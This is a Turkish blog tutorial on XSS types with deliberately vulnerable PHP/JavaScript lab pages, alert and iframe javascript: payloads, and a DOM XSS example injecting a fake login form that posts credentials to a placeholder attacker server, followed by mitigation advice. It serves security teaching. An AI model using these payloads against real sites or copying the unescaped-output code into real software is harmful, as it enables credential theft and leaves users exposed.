XSS Zafiyeti Hakkında:

4 months ago 37
BOOK THIS SPACE FOR AD
ARTICLE AD

Hhuseyinuyar

XSS (Cross-Site Scripting) zafiyeti, kötü niyetli kullanıcıların web uygulamalarına zararlı script kodları ekleyerek diğer kullanıcıların tarayıcılarında çalıştırabilmesine olanak tanır. Bu zafiyet, genellikle yetersiz input doğrulaması ve output encoding eksikliğinden kaynaklanır. XSS zafiyeti, üç ana kategoriye ayrılır.

Deneme Yapabilmek İçin:

Reflected XSS (Yansıtılmış XSS):

Zararlı kod, bir web uygulamasına bir kullanıcı tarafından gönderilir ve hemen aynı kullanıcıya geri yansıtılır. Bu tür XSS, genellikle zararlı bir link aracılığıyla kullanıcılara gönderilir ve kullanıcı linki tıkladığında zararlı kod çalıştırılır.Örnek: Bir name alanında kullanıcıdan gelen input doğrudan geri döndürülüyorsa, zararlı bir input doğrudan sayfada çalıştırılabilir.<body>
<div class="container">
<h1>Reflected XSS Example</h1>
<form method="GET" action="rxss.php">
<label for="name">Enter your name:</label>
<input type="text" id="name" name="name">
<input type="submit" value="Submit">
</form>
<?php
if (isset($_GET['name'])) {
$name = $_GET['name'];
echo "<p>Hello, $name!</p>";
}
?>
</div>
</body>

http://ec2–54–237–93–67.compute-1.amazonaws.com/rxss/rxss.php?name=hasan

İnputu girdikten sonra kaynak kodu incelediğimizde;

<p>Hello, hasan!</p>

Burada girdiğimizin inputun direkt haynak kod arasında bize yansıtıldığını görmüş olduk bu nedenden dolayı burada xss-reflected zafiyetini arayabiliriz.

VE İNPUTA

<script>alert(“xss”);</script>

payload‘u girerek zafiyeti tetikleyebiliriz.

Burpsuite intruder kullanarak brute force atılabilir ancak denemelerinizi benim sitemde yapmazsanız sevinirim :)

Stored XSS (Depolanmış XSS):

Zararlı kod, bir web uygulamasına kalıcı olarak eklenir ve bu kod daha sonra uygulamanın diğer kullanıcılarına sunulur. Örneğin, bir yorum alanına zararlı bir script eklenebilir ve bu yorum her görüntülendiğinde zararlı kod çalıştırılır.Örnek: Bir kullanıcının bir blog yazısına yorum eklediğini düşünelim. Kötü niyetli kullanıcı, yorum alanına zararlı JavaScript kodu ekler ve bu kod, diğer kullanıcılar bu yorumu görüntülediğinde çalışır.<body>
<div class="container">
<h1>Stored XSS Example</h1>
<form method="POST" action="sxss.php">
<label for="comment">Enter your comment:</label>
<textarea id="comment" name="comment" rows="4" cols="50"></textarea>
<br>
<input type="submit" value="Submit">
</form>
<div class="comments">
<h2>Comments:</h2>
<?php
$file = 'comments.txt';

if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_POST['comment'])) {
$comment = $_POST['comment'];
file_put_contents($file, $comment . "\n", FILE_APPEND);
}

if (file_exists($file)) {
$comments = file($file, FILE_IGNORE_NEW_LINES);
foreach ($comments as $comment) {
echo "<div class='comment'>" . $comment . "</div>";
}
}
?>
</div>
</div>
</body>

http://ec2-54-237-93-67.compute-1.amazonaws.com/sxss/sxss.php

İnputu girdikten sonra kaynak kodu incelediğimizde;

<div class='comment'>merhaba</div><div class='comment'></div>

BURADA İNPUTA;

<script>alert(“xss”);</script>

Payload’u girdiğimiğzde zafiyet tetiklenecektir ve sayfayı her ziyeret eden kişiden zararlı script gözlemlenecektir.

Güvenlik önlemi için tüm yorumlar her dakikada bir silinmektedir.

Sınırlı Yük ile STORED XSS Örneği

Sınırlı yük ile Stored XSS, web uygulamasının belirli HTML etiketlerini ve niteliklerini kabul ettiği ve sadece bu “güvenli” olarak kabul edilen etiketlerin ve niteliklerin kullanıcıdan gelen inputlarda kullanılmasına izin verdiği senaryolarda ortaya çıkan bir XSS türüdür. Saldırganlar, izin verilen bu etiketleri ve nitelikleri kullanarak zararlı JavaScript kodlarını çalıştırabilir.

Örnek Senaryo

Bir blog veya forum uygulamasında, kullanıcıların yorum yaparken sadece belirli HTML etiketlerini kullanmasına izin verildiğini düşünelim. Örneğin, sadece <b>, <i>, <u>, <a> gibi etiketler kabul ediliyor. Ancak saldırganlar, bu etiketleri ve nitelikleri kullanarak zararlı kodları enjekte edebilir.

<body>
<div class="container">
<h1>Stored XSS Example with Limited Payloads</h1>
<form method="POST" action="sxss2.php">
<label for="comment">Enter your comment:</label>
<textarea id="comment" name="comment" rows="4" cols="50"></textarea>
<br>
<input type="submit" value="Submit">
</form>
<div class="comments">
<h2>Comments:</h2>
<?php
$file = 'comments.txt';

if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_POST['comment'])) {
// Kullanıcı girdisini filtreleme ve bazı etiketlere izin verme
$comment = $_POST['comment'];

// Güvenli etiketler listesi
$allowed_tags = '<b><i><u><em><strong><iframe>';

// İzin verilen etiketler dışındaki etiketleri temizle
$comment = strip_tags($comment, $allowed_tags);

// Dosyaya yorum ekleme
file_put_contents($file, $comment . "\n", FILE_APPEND);
}

if (file_exists($file)) {
$comments = file($file, FILE_IGNORE_NEW_LINES);
foreach ($comments as $comment) {
// Kullanıcı yorumunu güvenli bir şekilde görüntüleme
echo "<div class='comment'>" . $comment . "</div>";
}
}
?>
</div>
</div>
</body>

http://ec2-54-237-93-67.compute-1.amazonaws.com/sxss2/sxss2.php

<div class='comment'>merhaba</div><div class='comment'></div>

Bu casede hangi etiketlere izin verildiğini bilemeyeceğimiz için sadece xss payloadlarıyla değil html enjeksiyon payloadları kullanılarak xss zafiyeti aranmalıdır.

BURADA İNPUTA;

<iframe src=”javascript:alert(1)”></iframe>

Payload’u girdiğimiğzde zafiyet tetiklenecektir ve sayfayı her ziyeret eden kişiden zararlı script gözlemlenecektir.

DOM-Based XSS (DOM Tabanlı XSS):

Zararlı kod, doğrudan tarayıcıdaki Document Object Model (DOM) üzerinde manipülasyon yaparak çalışır. Basitçe tanımlamak gerekirse “DOM Tabanlı XSS, bir HTML parçasında değil DOM (Document Object Model)’da meydana gelen XSS zafiyetidir” denilebilir. Bu tür XSS, genellikle JavaScript ile gerçekleştirilir ve sunucuya herhangi bir istek yapılmadan tarayıcıda çalışır.Örnek: JavaScript kodu, URL parametrelerini alıp doğrudan sayfada kullanıyorsa, zararlı inputlar doğrudan sayfada çalıştırılabilir.<body>
<div class="container">
<h1>DOM XSS Example</h1>
<p id="message">Your message will appear here.</p>
</div>
<script>
// URL parametrelerini al
const urlParams = new URLSearchParams(window.location.search);
const message = urlParams.get('message');

// Mesajı doğrudan DOM'a ekle
if (message) {
document.getElementById('message').innerHTML = message;
}
</script>
</body>

http://ec2-54-237-93-67.compute-1.amazonaws.com/dxss/dxss.php

http://ec2-54-237-93-67.compute-1.amazonaws.com/dxss/dxss.php?message=<b>merhaba</b>

Daha gelişmiş bir payload ile;

kullanıcı bilgileri zararlı sunucuya yönlendirilebilir.

<form name="login" action="http://zararlı sunucu ip: kullanılmayan port/">

<table>
<tr><td>kullanıcı adı: <input type="text" name="kullanıcı adi" placeholder="kullanıcı adı"></tr></td>
<tr><td>password: <input type="text" name="password" placeholder="password"></tr></td>
</table>
<input type="submit" value="login">
</form>

http://ec2-54-237-93-67.compute-1.amazonaws.com/dxss/dxss.php?message=<table> <tr><td>kullanıcı adı: <input type=”text” name=”kullanıcı adi” placeholder=”kullanıcı adı”></tr></td> <tr><td>password: <input type=”text” name=”password” placeholder=”password”></tr></td> </table>

Bu şekilde kullanıcıdan alınan veriler zararlı sunucuya yönlendirilerek zafiyetten neler yapılabileceği anlaşılmış olur.

Input Doğrulaması ve Temizleme:

Kullanıcıdan gelen tüm inputları doğrulamalı ve zararlı olabilecek karakterleri temizlemelidir.Örneğin, <, >, ", ', /, & gibi karakterlerin HTML entity'lere çevrilmesi (&lt;, &gt;, &quot;, &#x27;, &#x2F;, &amp;).

Output Encoding:

Kullanıcı inputları web sayfasında gösterilmeden önce uygun şekilde encode edilmelidir.HTML, JavaScript, URL ve CSS için uygun encoding yöntemleri kullanılmalıdır.

CSP (Content Security Policy):

Tarayıcının belirli kaynaklardan yüklenmesine izin verdiği içerikleri sınırlayan bir güvenlik politikasıdır.Bu, zararlı scriptlerin çalışmasını engelleyebilir.

Güvenli Kod Yazma Pratikleri:

Güvenli framework’ler ve kütüphaneler kullanmak, ve best practice’lere uygun kod yazmak.Örneğin, PHP’de htmlspecialchars() veya htmlentities() fonksiyonlarını kullanmak.

Bu yöntemler, XSS zafiyetlerini azaltmada ve web uygulamalarını daha güvenli hale getirmede kritik öneme sahiptir.

Zaman ayırdığınız için teşekkürler.🙂🙂🙂

XSS’i daha kapsamlı öğrenebilmek için kaynaklar:

Read Entire Article